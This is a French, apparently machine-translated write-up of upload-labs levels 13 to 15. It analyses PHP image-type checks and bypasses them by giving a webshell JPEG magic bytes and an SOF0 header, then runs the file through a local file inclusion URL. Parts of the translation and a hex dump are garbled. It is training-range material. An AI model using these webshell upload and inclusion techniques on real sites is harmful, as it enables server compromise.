Vulnérabilité de téléchargement de fichiers - niveau de plage de téléchargement 13-16 (image cheval de Troie - inclusion de fichiers et dernière vulnérabilité du fichier)

Vulnérabilité de téléchargement de fichiers - niveau de plage de téléchargement 13-16 (image cheval de Troie - inclusion de fichiers et dernière vulnérabilité du fichier)

Introduction

Le champ de tir de téléchargement atteint le treizième niveau et la difficulté augmente directement. Dans les sept derniers niveaux, des techniques de téléchargement telles que des chevaux de Troie d'images et des conditions de compétition sont incluses. L'essence de ces vulnérabilités est que la vérification du code source n'est pas en place. , téléchargez l'image du cheval de Troie et complétez la série.

Niveau de téléchargement 13 (image cheval de Troie, en-tête de vérification 2 octets)

Idées

image-20230902112427837

Analyse du code source
function getReailFileType($filename){
    
    
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){
    
          
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错!";
        }
    }
}

Ce code source a deux logiques,

  • Une fonction personnalisée est utilisée getReailFileType($filename)pour détecter le type de fichier image téléchargé dans les deux premiers octets du fichier image. Le processus est le suivant :
    • Accepte un nom de fichier comme paramètre et, à l'intérieur de la fonction, obtient le type réel du fichier en lisant les deux premiers octets du fichier.
    • Utilisez fopen()la fonction pour ouvrir le fichier et lire en mode binaire ("rb").
    • Utilisez fread()la fonction pour lire les deux premiers octets du fichier.
    • Utilisez fclose()la fonction pour fermer le fichier.
    • Utilisez unpack()la fonction pour décompresser les données binaires lues en caractères ASCII à deux octets.
    • Convertissez les caractères décompressés en type entier et stockez-les dans la variable $typeCode.
    • Déterminez le type de fichier (jpg, png, gif) en fonction de $typeCodela valeur de et stockez le type de fichier correspondant dans la variable $fileType.
    • Si $typeCodela valeur de est en dehors de la plage de types connus, le type de fichier est défini sur « inconnu ».
    • Renvoie le type de fichier $fileType.
  • La logique principale est utilisée pour déterminer si le type d'image téléchargé répond aux exigences. S'il répond aux exigences, il sera téléchargé. Si ce n'est pas le cas, il sera demandé que le fichier est inconnu. La logique de jugement est la suivante :
    • Sur la base du formulaire soumis par l'utilisateur, vérifie si submitun champ nommé existe.
    • Si submit le champ existe, continuez le traitement du fichier téléchargé.
    • Obtenez le chemin temporaire du fichier téléchargé ($_FILES['upload_file']\['tmp_name']).
    • Appelez getReailFileTypela fonction pour obtenir le type réel du fichier.
    • Si le type de fichier est unknown, $msgdéfinissez-le sur "Fichier inconnu, échec du téléchargement !".
    • Si le type de fichier n'est pas « inconnu », générez un nouveau chemin de fichier $img_pathcomprenant un nombre aléatoire, une date et un suffixe de type de fichier.
    • Utilisez move_uploaded_filela fonction pour déplacer le fichier temporaire vers un nouveau chemin de fichier.
    • $is_uploadDéfini sur true si le fichier a été déplacé avec succès .
    • Si le déplacement du fichier échoue, $msgdéfinissez sur "Erreur de téléchargement !".

Une connaissance doit être ajoutée ici : quels sont les deux premiers octets du fichier image ?

Pour les formats de fichiers image courants, les deux premiers octets de l'en-tête du fichier comportent généralement un code d'identification spécifique utilisé pour identifier le type de fichier. Voici les codes d'identification d'en-tête de fichier de plusieurs formats de fichiers image courants :

  1. Fichier JPEG/JPG : Le code d'identification de l'en-tête du fichier est 0xFFD8 (décimal 255216).
  2. Fichier PNG : Le code d’identification de l’en-tête du fichier est 0x8950 (13780 en décimal).
  3. Fichier GIF : Le code d'identification de l'en-tête du fichier est 0x4749 (7173 en décimal).

Ces identifiants d'en-tête de fichier sont des balises spécifiques pour les formats de fichiers image respectifs et sont utilisés pour aider à identifier le type de fichier. En lisant les deux premiers octets du fichier et en les comparant avec le code d'identification prédéfini, vous pouvez dans un premier temps déterminer si le type de fichier est JPEG, PNG ou GIF.

On voit que le code source vérifie uniquement le type de l'image, mais ne vérifie pas le suffixe. Peut-on ajouter l'identification d'un fichier jpg au premier et au deuxième octets de l'en-tête du fichier webshell ? Que diriez-vous de contourner le code ? Théoriquement, c'est possible. Ensuite, commençons à essayer d'attaquer.

###Idées d'attaque

Préparez d’abord le webshell et ajoutez le code d’identification de l’image dans le webshell.

image-20230902114635887

Tout le monde pense que si je télécharge ce webshell directement, passera-t-il la vérification ?

La réponse est qu'il ne peut pas passer, car le code source vérifie les deux premiers octets. Bien qu'il soit converti en décimal et qu'il soit 255216, s'il est écrit directement dans le webshell, il représente 6 octets, ce qui fera définitivement échouer la vérification. donc l'idée ici est d'ajouter 2 octets en tête du webshell, puis d'utiliser un éditeur hexadécimal pour remplacer ces deux octets par hexadécimal, 0xFFD8

image-20230902124457191

Une fois la modification terminée, nous envoyons ce webshell pour voir s'il peut être contourné avec succès.

image-20230902124643164

À partir du package de réponse, nous avons trouvé le chemin du fichier. En raison des règles de renommage du code source de la logique principale, son nom est celui qui a 5620230902124504.jpgété téléchargé avec succès, mais son suffixe ici .jpgest le suffixe de l'image, mais nous ne l'avons pas fait. envoyer la modification. Le fichier de configuration principal d'Apache, ou télécharger à nouveau un fichier de configuration .htaccess pour augmenter .jpgl'analyse du fichier. Cela crée un dilemme que le webshell ne peut pas analyser, ce qui prouve également la robustesse du code source. Même si je peux télécharger un fichier webshell, j'ai modifié les noms de suffixe de tous les fichiers téléchargés par le suffixe correspondant en fonction de l'identifiant du fichier que vous avez téléchargé, empêchant ainsi l'analyse normale du webshell. Génial, vraiment génial.

N’y a-t-il rien que nous puissions faire à ce sujet ? Non, nous avons encore un moyen de le résoudre, et une autre vulnérabilité est introduite ici “文件包含漏洞”.

Le fichier contient une introduction à la vulnérabilité

文件包含漏洞Trouvé dans de nombreux langages et frameworks de programmation côté serveur. Cette vulnérabilité permet à un attaquant d'inclure des fichiers malveillants ou distants dans l'environnement d'exécution de l'application cible en exploitant le code d'inclusion de fichiers mal validé de l'application.

La principale cause des vulnérabilités d'inclusion de fichiers est que les applications ne valident pas et ne filtrent pas correctement les entrées de l'utilisateur lors de l'inclusion de fichiers, ou n'utilisent pas les entrées contrôlables par l'utilisateur directement pour les chemins ou les noms de fichiers. Un attaquant pourrait exploiter cette vulnérabilité pour exécuter du code malveillant, lire des fichiers sensibles, contourner les contrôles d'accès ou effectuer d'autres opérations illégales.

Les vulnérabilités d'inclusion de fichiers peuvent être divisées en deux types :

  1. Vulnérabilité d'inclusion de fichiers locaux : un attaquant peut lire et exécuter des fichiers à partir du même serveur en spécifiant un chemin de fichier local inclus. Un attaquant peut exploiter cette vulnérabilité pour lire des fichiers système, des fichiers de configuration, des informations sensibles, etc.

  2. Vulnérabilité d'inclusion de fichier distant : un attaquant peut charger et exécuter un fichier à partir d'un serveur distant en spécifiant l'URL du fichier distant. Un attaquant pourrait utiliser cette vulnérabilité pour charger du code malveillant, contrôler l'environnement d'exécution et même exécuter du code à distance sur le serveur cible.

Si vous souhaitez l'utiliser 文件包含的漏洞, les deux configurations suivantes dans le fichier de configuration principal PHP php.inidoivent être activées :

  1. allow_url_include : cette configuration détermine s'il faut autoriser l'utilisation de chemins d'URL dans les fonctions d'inclusion de fichiers (telles que include et require). Par défaut, cette configuration doit être désactivée (off) pour éviter les risques de sécurité. L'activer peut entraîner une vulnérabilité d'inclusion de fichiers distants.

  2. allow_url_fopen : cette configuration détermine s'il faut autoriser l'utilisation de fonctions de fichier (telles que fopen, file_get_contents) pour lire le contenu des URL distantes. Par défaut, cette configuration doit être désactivée (off) pour éviter les risques de sécurité. L'activer peut entraîner une vulnérabilité d'inclusion de fichiers distants.

Connaissances supplémentaires PHP

Il y a un total de quatre mots-clés inclus dans php , , includeet requireleurs significations sont :include_oncerequire_once

  1. include: Utilisé pour inclure un fichier externe spécifié et analyser et exécuter le code dans le fichier pendant l'exécution. Si l'opération d'inclusion échoue, includeun avertissement est émis et l'exécution du script continue.

  2. require: includeSimilaire à : utilisé pour inclure le fichier externe spécifié et analyser et exécuter le code dans le fichier pendant l'exécution. Mais includela différence est que si l'opération d'inclusion échoue, requireune erreur fatale sera générée, arrêtant l'exécution du script.

  3. include_once: includeSimilaire à , mais vérifiera si le fichier a déjà été inclus avant de l'inclure. S'il a déjà été inclus, il ne le sera plus. Cela évite des problèmes tels que la duplication de variables ou de fonctions.

  4. require_once: requireSimilaire à , mais vérifiera si le fichier a déjà été inclus avant de l'inclure. S'il a déjà été inclus, il ne le sera plus. La différence requireest qu’une require_onceerreur fatale est générée au lieu d’un simple avertissement.

En php fopen, fgets, et d'autres fonctions peuvent être utilisées pour lire le code dans l'URL distante curl.file_get_contents

  1. fopenet fgets: fopenLorsqu'il est utilisé pour ouvrir une URL distante, fgetsle contenu textuel de l'URL, y compris le code, peut être lu ligne par ligne. Par exemple:

    $handle = fopen('http://example.com/file.php', 'r');
    while (!feof($handle)) {
           
           
        $line = fgets($handle);
        // 处理每一行代码
        echo $line;
    }
    fclose($handle);
    
  2. curl: curlLa fonction est une bibliothèque puissante qui peut être utilisée pour effectuer diverses opérations de communication réseau, notamment l'obtention du contenu d'une URL distante. Par exemple:

    $ch = curl_init('http://example.com/file.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    echo $response;
    
  3. file_get_contents: file_get_contentsLa fonction est l'une des fonctions les plus simples et les plus couramment utilisées pouvant être utilisées pour lire le contenu d'une URL distante. Par exemple:

    $contents = file_get_contents('http://example.com/file.php');
    echo $contents;
    

Ce type de vulnérabilité est très effrayant. En termes simples, il traitera tous les fichiers comme des fichiers PHP à analyser et à exécuter. Par exemple, dans le stand de tir que nous avons testé cette fois, nous avons téléchargé ce webshell. Parce que le suffixe est Le fichier de configuration .jpgest modifié, ce qui conduit à une situation embarrassante dans laquelle nous pouvons télécharger mais ne pouvons pas exécuter l'analyse. S'il y a une vulnérabilité contenue dans un fichier dans le champ de tir, nous pouvons jeter ce fichier dans la vulnérabilité, l'analyser et l'exécuter. Toutes les idées ont été clarifiées.

Le processus principal est :

  1. Ajoutez l'en-tête correspondant qui permet le téléchargement vers le webshell
  2. Téléchargez le webshell et remplacez la valeur MIME par la valeur correspondante, ou remplacez le suffixe par le suffixe indiquant l'en-tête.
  3. Étant donné que le suffixe du fichier devient le suffixe correspondant après le téléchargement, la vulnérabilité d'inclusion de fichier est utilisée pour analyser le fichier afin de garantir qu'il peut être exécuté en tant que fichier php.

Idées d'attaque

L'ancienne règle consiste à ouvrir la suite burp pour intercepter le package de requête et télécharger un webshell.

image-20230902133251472

Utilisez un éditeur hexadécimal dans la suite burp pour modifier l'identifiant d'en-tête du webshell et remplacez-le par jpgl'en-tête d'identifiant0xFFD8

image-20230902134023513

Une fois le téléchargement réussi, recherchez le chemin de l’image à partir du paquet de réponse.

image-20230902134217194

La plage de téléchargement fournit une vulnérabilité d'inclusion de fichiers que nous pouvons tester.

image-20230902134435449

image-20230902134636729

Il s'agit d'une vulnérabilité d'inclusion de fichier local dans la méthode GET. Nous copions le chemin du fichier que nous venons de télécharger et utilisons la vulnérabilité contenue dans ce fichier local pour tester si l'attaque réussit.

http://192.168.30.253/upload/include.php?file=./upload/9320230902134040.jpg

Notez que lors de la saisie du chemin, ajoutez le premier /pour .indiquer le répertoire courant.

image-20230902140729351

Ici, le webshell a été analysé avec succès. Il y a deux caractères tronqués, qui sont jpgles en-têtes. Quant à la raison pour laquelle le code PHP ne peut pas être vu, c'est parce qu'ils ont été analysés normalement. Enfin, nous analyserons la fonction phpinfo() pour voir si c'est réussi.

image-20230902140948922

phpinfo(); analysé avec succès, passé avec succès, nous savons déjà que l'identifiant d'en-tête de l'image, tant que nous remplaçons l'en-tête du webshell par l'en-tête de l'image correspondante, le téléchargement du webshell peut être terminé, et c'est pas testé ici.

Télécharger le niveau 14 (images de cheval de Troie, vulnérabilité de la fonction getimagesize())

Idées

Analyse du code source
function isImage($filename){
    
    
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
    
    
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
    
    
            return $ext;
        }else{
    
    
            return false;
        }
    }else{
    
    
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错!";
        }
    }
}

Fonction personnalisée isImage(); logique :

  1. La fonction reçoit en paramètre un chemin de fichier : $filename.

  2. Définit une variable de chaîne $typesqui contient les extensions de fichier image autorisées prédéfinies, telles que .jpeg, .png, .gif.

  3. Utilisez file_existsune fonction pour vérifier si un fichier donné existe. Si le fichier n'existe pas, il sera renvoyé directement false, indiquant que le fichier téléchargé n'est pas valide.

  4. getimagesizeSi le fichier existe, obtenez les informations sur l'image via la fonction, y compris la largeur, la hauteur et le type de l'image.

  5. Utilisez image_type_to_extensionune fonction pour convertir le type d'image en extension de fichier et enregistrez-le dans une variable $ext.

  6. Utilisez striposla fonction (recherche de chaîne insensible à la casse) pour vérifier $extsi l'extension du fichier image fait partie des extensions d'image autorisées $types.

    • Si une extension d'image autorisée correspond, cette extension est renvoyée comme résultat, indiquant que le fichier téléchargé est un fichier image valide.
    • Si aucune extension d'image correspondante n'est trouvée, elle est renvoyée false, indiquant que même si le fichier téléchargé existe, il ne s'agit pas d'un fichier image autorisé.

Logique principale :

  1. Le code côté serveur vérifie d'abord s'il est défini $_POST['submit']. S'il est défini, cela signifie que l'utilisateur a cliqué sur le bouton "Soumettre", puis exécute la logique suivante.

  2. Extrayez le chemin d'accès temporaire du fichier téléchargé : $temp_file = $_FILES['upload_file']['tmp_name'];. Cela suppose que le formulaire utilise upload_fileun champ de téléchargement de fichier nommé.

  3. Appelez isImagela fonction pour vérifier si le fichier téléchargé est un fichier image et enregistrez le résultat dans une variable $res. isImageLa logique spécifique de la fonction est expliquée dans la réponse précédente.

  4. isImageJugement et traitement basés sur le résultat de retour de la fonction :

    • Si $resla valeur est false, indiquant que le fichier téléchargé n'est pas un fichier image, le message d'erreur est attribué à $msgla variable, invitant l'utilisateur que le fichier téléchargé est inconnu et que le téléchargement a échoué.
    • Si $resla valeur est l'extension du fichier image, cela signifie que le fichier image téléchargé est un fichier image.
  5. Si le fichier est un fichier image et réussit la vérification, un nom de fichier aléatoire est généré :
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
    ici, on suppose qu'il existe une constante UPLOAD_PATHnommée, indiquant le chemin de sauvegarde du fichier téléchargé.

  6. Utilisez move_uploaded_fileune fonction pour déplacer les fichiers temporaires vers un chemin de destination spécifié.

    Si le déplacement réussit, $is_uploadla variable est définie sur true, indiquant que le téléchargement du fichier a réussi. Si le déplacement échoue, le message d'erreur est affecté à $msgla variable, indiquant une erreur de téléchargement.

Trois fonctions système clés apparaissent dans le code source, getimagesize, image_type_to_extension, stripos, , la signification de ces trois fonctions est

  1. getimagesize($filename): Il s'agit d'une fonction système PHP utilisée pour obtenir des informations sur le fichier image spécifié, y compris la largeur, la hauteur et le type de l'image. Il reçoit un chemin de fichier en paramètre et renvoie un tableau contenant diverses informations sur l'image,

    • Par exemple $info = getimagesize($filename). Lorsque vous utilisez cette fonction, vous devez vous assurer que vous lui transmettez un fichier image valide.
  2. image_type_to_extension($info[]): Il s'agit d'une fonction intégrée à PHP qui convertit les constantes de type d'image en extensions de fichier correspondantes. Il reçoit une constante représentant le type d'image en tant que paramètre, tel que $ext = image_type_to_extension($info[2]). Il renvoie l'extension de fichier correspondant à la constante de type d'image donnée.

    • Par exemple, pour le type JPEG, l'extension renvoyée est .jpeg, et pour le type PNG, l'extension renvoyée est .png.
    • $info[2]Le paramètre représente ici getimagesize()la troisième valeur du tableau renvoyé. Les autres valeurs du tableau renvoyées par cette fonction sont à peu près les suivantes :
      • $info[0]: La largeur de l'image, en pixels.
      • $info[1]: La hauteur de l'image, en pixels.
      • $info[2]: Une valeur constante de type d'image, indiquant le type de fichier de l'image. Cette valeur correspond à différents formats d'image tels que JPEG, PNG, GIF, etc. Pour les valeurs constantes de type spécifique, veuillez vous référer à l’explication précédente.
        • 1 = GIF,
        • 2 = JPG,
        • 3 = PNG,
        • 4 = SWF,
        • 5 = PSD,
        • 6 = BMP, etc.
      • $info[3]: Une chaîne contenant des informations supplémentaires sur l’image. Ceci est généralement utilisé pour fournir des informations détaillées sur le format de l'image, telles que le mode couleur de l'image, la résolution, etc. Le contenu et le formatage spécifiques peuvent varier selon les différents types d'images.
  3. stripos($types, $ext): Il s'agit d'une fonction intégrée à PHP permettant d'effectuer une recherche de sous-chaîne insensible à la casse dans une chaîne. Il reçoit deux paramètres.

    • Le premier paramètre est la chaîne à rechercher

    • Le deuxième paramètre est la sous-chaîne à rechercher.

    • Il renvoie la position de la première occurrence de la sous-chaîne dans la chaîne, ou si elle n'est pas trouvée false.

    • Ici est utilisé pour rechercher une extension de fichier dans stripos($types, $ext)la liste des extensions d'image autorisées .$types$ext

Après avoir analysé le code source, nous avons constaté qu'il s'agit également d'un type de fichier de vérification. Il est très similaire au pass-14, mais la fonction de vérification a changé.

  • pass-14 ouvre le fichier via getReailFileType()la fonction, lit les deux premiers octets, puis détermine le type de fichier réel du fichier en fonction du contenu des octets lus.

  • Pass-15 consiste à utiliser getimagesize()la fonction pour obtenir les informations de type du fichier image, puis à utiliser image_type_to_extension()la fonction pour convertir le type d'image en extension de fichier.

Le but ultime des deux est de déterminer le type de fichier en vérifiant le fichier d'identification dans le fichier. Alors, les idées d'attaque utilisées dans la passe-14 peuvent-elles être utilisées dans la passe-15 ? Ensuite, testons-le ensemble

Idées d'attaque

L'ancienne règle consiste à télécharger le fichier Webshell préparé par pass-14 et à utiliser la suite burp pour intercepter le paquet de requête.

image-20230902150841514

Après avoir intercepté le paquet de requête, utilisez l'éditeur hexadécimal de burp sutie pour modifier les 25 caractères (en-tête d'identification) dans le webshell

image-20230902151100207

Après de nombreux tests, il a été constaté que la méthode pass-14 ne peut pas être utilisée dans pass-15. Après avoir modifié l'en-tête d'identification du fichier, les sites Web ne peuvent toujours pas être téléchargés normalement.

J'ai donc utilisé un éditeur hexadécimal pour écrire 0xffd8 dans le webshell, puis j'ai écrit un tas de code pour tester la fonction getimagesize() pour voir si cette fonction pouvait reconnaître mon webshell comme une image jpg.

image-20230902170009758

image-20230902170115230

J'ai constaté que la fonction getimagesize()ne pouvait pas l'identifier. 1.phpC'était une image. J'ai file_get_contents()ouvert le fichier en hexadécimal et j'ai découvert que l'en-tête du fichier était l'identifiant de l'en-tête . Se pourrait-il que la façon dont la fonction identifie le type d'image soit différente de celle J'esperais? J'ai donc fait l'expérience suivante.bin2hex()1.phpjpg0xFFD8getimagesize()

image-20230902170611846

Lorsque j'ai utilisé une image normale pour donner getimagesize()la fonction, j'ai découvert qu'elle pouvait être reconnue normalement.

  • [0] est la largeur de l'image renvoyée, qui est de type numérique
  • [1] est la hauteur de l'image renvoyée, qui est de type numérique
  • [2] Le type de l'image renvoyée, qui est un type numérique
  • ['mime'] renvoie la valeur MIME, qui est un type chaîne.

Cela m'a un peu déprimé, j'ai donc mené quelques recherches sur l'encodage des images jpg. Les règles pertinentes pour l'encodage des fichiers jpg sont les suivantes :

Dans un fichier JPEG, il comprend l'en-tête du fichier (Header), le contenu du fichier (Content) et le pied de page du fichier (Footer). Voici une introduction à la structure de base d'un fichier JPEG :

  1. En-tête de fichier (Header) : L'en-tête du fichier contient la balise de début du fichier JPEG et certaines métadonnées. En règle générale, la balise de début est FF D8, indiquant le début d'une image JPEG. L'en-tête du fichier peut également contenir des balises telles que APP0 et DQT, qui sont utilisées pour identifier les données d'application, la table de quantification et d'autres informations du fichier.

  2. Contenu du fichier : le contenu du fichier est la partie principale du fichier JPEG et contient les données binaires de l'image. Ces données sont compressées et codées pour représenter la couleur et les détails de l'image. Cette partie des données est structurée selon l'algorithme de compression d'image JPEG et peut être décodée et traitée par des algorithmes et des outils spécialisés. Le contenu du fichier constitue la plus grande partie du fichier JPEG.

  3. Pied de page de fichier (Footer) : Le pied de page d'un fichier JPEG est généralement une marque de fin spéciale FF D9, indiquant la fin de l'image JPEG. Ce flag indique au décodeur JPEG qu'il a atteint la fin du fichier lors du décodage de l'image.

La chaîne suivante de codes hexadécimaux est le code d'en-tête d'une image

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01 00 01 00 00 FF DB 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04
03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08
0B 08 09 0A 0A 0A 0A 0A 06 08 0B 0C 0B 0A 0C 09 0A 0A 0A FF DB 0 0 43 01 02 02 02 02 02
02 05 03 03 05 0A 07 06 07 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0 Un 0A 0A 0A 0A 0A 0A 0A 0A
0A 0A 0A 0A 0A 0A 0A 0A 0A FR C0

Certaines des significations sont les suivantes

  • FF D8: File Start Identifier (SOI), qui indique le début du fichier JPEG et indique également qu'il s'agit d'un fichier de type JPG.

  • FF E0: Segment de marque d'application (segment de marque APP0), indiquant le début des informations relatives à l'application.

  • 00 10: Longueur des données, indiquant la longueur des données du segment de marque APP0.

  • 4A 46 49 46: Identifiant, indiquant JFIF (JPEG File Interchange Format).

    • JFIF est un format de fichier JPEG courant qui définit le format de fichier et la structure des images JPEG. Il fournit une norme commune d'échange et de partage pour les images JPEG et est conçu pour garantir l'interopérabilité entre les différentes applications et plates-formes.

      Le format JFIF définit l'en-tête de fichier, les données d'image et certaines informations de métadonnées d'un fichier JPEG. Il contient les informations clés suivantes :

      1. Numéro de version : numéro de version du format de fichier JFIF, généralement 1.0.

      2. Unités de densité de pixels et densité de pixels : utilisés pour indiquer le nombre de pixels par unité de longueur dans une image. Les unités sont généralement des points par pouce (dpi) ou des points/centimètre (dpcm).

      3. Vignette : Le format JFIF peut contenir une vignette pour un aperçu rapide de l'image. Les miniatures ont généralement une résolution inférieure, une qualité de compression inférieure et une taille de fichier plus petite.

  • 00 01: Numéro de version JFIF.

  • 01 01: Unité de densité de pixels et densité de pixels, généralement exprimée en points par pouce (dpi).

  • 2C 01: Densité de pixels horizontale (72 dpi).

  • 2C 00: Densité de pixels verticale (72 dpi).

  • FF C0 : Il identifie l'en-tête de cadre SOF0, qui enregistre les paramètres du cadre d'image et les informations sur l'espace colorimétrique de l'image. Les champs derrière représentent les informations suivantes :

    • Octets 1-2 : longueur de l'en-tête de trame, indiquant la longueur de la partie paramètre.
      • Octet 3 : Précision, indiquant la précision des données de couleur de l'image (généralement 8 bits).
      • Octets 4-5 : hauteur de l'image, indiquant la hauteur de l'image.
      • Octets 6-7 : largeur de l'image, indiquant la largeur de l'image.
      • Octet 8 : Nombre de composants, indiquant le nombre de composants de couleur de l'image.

    getimagesize()Au final, cette position doit être lue avant qu'une image puisse être reconnue normalement. S'il n'y a pas un tel octet, elle ne sera pas reconnue par défaut.

    image-20230902204538336

    Ici, nous supprimons FF C0les paramètres de l'octet arrière, il affiche donc une hauteur de 26 736 et une largeur de 16 240, qui sont ses paramètres par défaut. Mais ces valeurs ne sont évidemment pas cohérentes avec la situation réelle.

    image-20230902204702403

    Nous installons l'explication ci-dessus et FF C0écrivons quelques paramètres pour voir si cela peut prendre effet.image-20230902210829119

image-20230902211309779

Après avoir écrit les paramètres, cela a pris effet immédiatement. De plus, lorsque j'ai analysé l'encodage JPG, j'ai découvert un autre modèle,

En JPG, s'il FFcommence par, il forme généralement une marque avec l'octet suivant :

  • FF D8 : Marque de début, indiquant le début de l'image JPEG.
  • FF DB : Tag qui définit la table de quantification (Define Quantization Table).
  • FF C0 : Marqueur de Début de Trame.
  • FF C4 : Définir la marque de la table de Huffman (Définir la table de Huffman).
  • FF DA : Marque du groupe de scan (Début de Scan).
  • FF D9 : Marque de fin, indiquant la fin de l'image JPEG.

D'accord, nous avons presque étudié le codage JPG et en avons une compréhension générale. Ensuite, nous continuerons à passer le champ de tir. Puisque nous avons créé avec succès un webshell d'image, nous le téléchargerons directement pour voir s'il peut être téléchargé avec succès.

image-20230902204920534

Téléchargé avec succès, cela prouve que mon idée est juste. Par rapport à la vérification du pass-13, la vérification du pass-14 est plus stricte. Le Pass-13 ne vérifie que les deux premiers octets, tandis que l'utilisation du pass-14 nécessite une vérification getimagesize(). L’en-tête de l’image atteint la position d’en-tête de début d’image (SOF0). Nous utilisons maintenant la vulnérabilité d'inclusion de fichiers fournie pour analyser le webshell.

image-20230902211939981

OK, analysé avec succès et passé le niveau avec succès.

Le code de test est le suivant. Si vous en avez besoin, vous pouvez l'obtenir vous-même.

<?php
$file = '文件路径';

$imageInfo = getimagesize($file);

$content = file_get_contents($file);
$bin = bin2hex($content);
echo '<pre>';
echo $bin;
if ($imageInfo) {
    
    

    $width = $imageInfo[0];

    $height = $imageInfo[1];

    $mime = $imageInfo['mime'];

    $type = $imageInfo[2];
    echo '<br>';
    echo "宽度: " . $width . "<br>";
    echo "高度: " . $height . "<br>";
    echo "MIME类型: " . $mime . "<br>";
    echo "标识" . $type.'<br>';
} else {
    
    
    echo "无法获取图像信息!";
}

upload-Level 15 (cheval de Troie image, vulnérabilité de la fonction exif_imagetype())

Idées

image-20230902212104894

Analyse du code source
function isImage($filename){
    
    
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
    
    
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错!";
        }
    }
}

La partie logique principale du code source de ce niveau est à peu près la même qu'auparavant, mais les fonctions personnalisées isImagesont assez différentes. Tout d’abord, présentons les fonctions clés de ce niveauexif_imagetype() :

exif_imagetype()Il s'agit d'une fonction intégrée à PHP, principalement utilisée pour déterminer le type d'image. Elle a un paramètre et deux valeurs de retour.

  • Paramètres : chemin de l'image à détecter
  • valeur de retour :
    • Si le type peut être déterminé, la constante du type d'image et sa valeur entière correspondante sont renvoyées :
      • IMAGETYPE_GIF:1, indique une image GIF.
      • IMAGETYPE_JPEG:2, représente une image JPEG.
      • IMAGETYPE_PNG:3, représente l'image PNG.
      • IMAGETYPE_SWF:4, indiquant le fichier Flash SWF.
      • IMAGETYPE_PSD:5, indiquant les fichiers image Adobe Photoshop.
      • IMAGETYPE_BMP:6, indique une image BMP.
    • Renvoie si le type ne peut pas être déterminé false.

Principe de fonctionnement :

exif_imagetypeLa fonction confirme l'image en vérifiant l'identifiant d'en-tête du fichier, ce qui semble être similaire exif_iamgetypeà la vérification du niveau pass-13, car pass-13 lit les 2 octets de l'en-tête du fichier, qui représente également l'identifiant d'en-tête, donc essayons-le, utilisez directement le webshell du pass-13 pour voir s'il peut être téléchargé avec succès.

Idées d'attaque

image-20230902213627891

Après avoir téléchargé le webshell, j'ai constaté qu'il n'y avait pas d'interface de téléchargement, y a-t-il un bug dans le stand de tir ?

NONONO, ce n'est pas un bug du stand de tir. Il est clairement indiqué dans le code source qu'il faut activer l' php_exifextension en PHP. Lorsque ce paramètre n'est pas activé, le fichier téléchargé se comportera comme ceci. Pourquoi ? Expliquons également php_exifce que c'est.

  • php_exifest un module d'extension PHP permettant de lire et de manipuler les métadonnées EXIF ​​​​au format JPEG et autres fichiers image. .
  • exif_imagetype()Les fonctions nécessitent php_exifdes extensions pour analyser et lire le type d'image du fichier. Si php_exifles extensions ne sont pas activées, cette fonction ne fonctionnera pas correctement et peut produire une erreur lors de la détermination du type de fichier.

Après avoir compris le principe, on va dans le fichier de configuration principal de PHP php.inipour trouver le module et l'ouvrir. S'il n'est pas trouvé, entrez le code suivant à la fin du fichier de configuration et tout ira bien.

php_exif = On

image-20230902221004882

Continuer notre attaque

image-20230902221137782

C'est le webshell que nous voulons télécharger. Il a été édité en hexadécimal et l'identifiant d'en-tête jpg a été ajouté à l'en-tête. Nous essayons de le télécharger directement.

image-20230902221247190

Cela m'a indiqué que le fichier était inconnu et que le téléchargement a échoué. Je viens de confirmer qu'il ne reconnaissait pas le type d'image, je l'ai donc ajouté exif_imagetype()à mon code de test pour tester dans quelles circonstances il peut le reconnaître.

image-20230902223142900

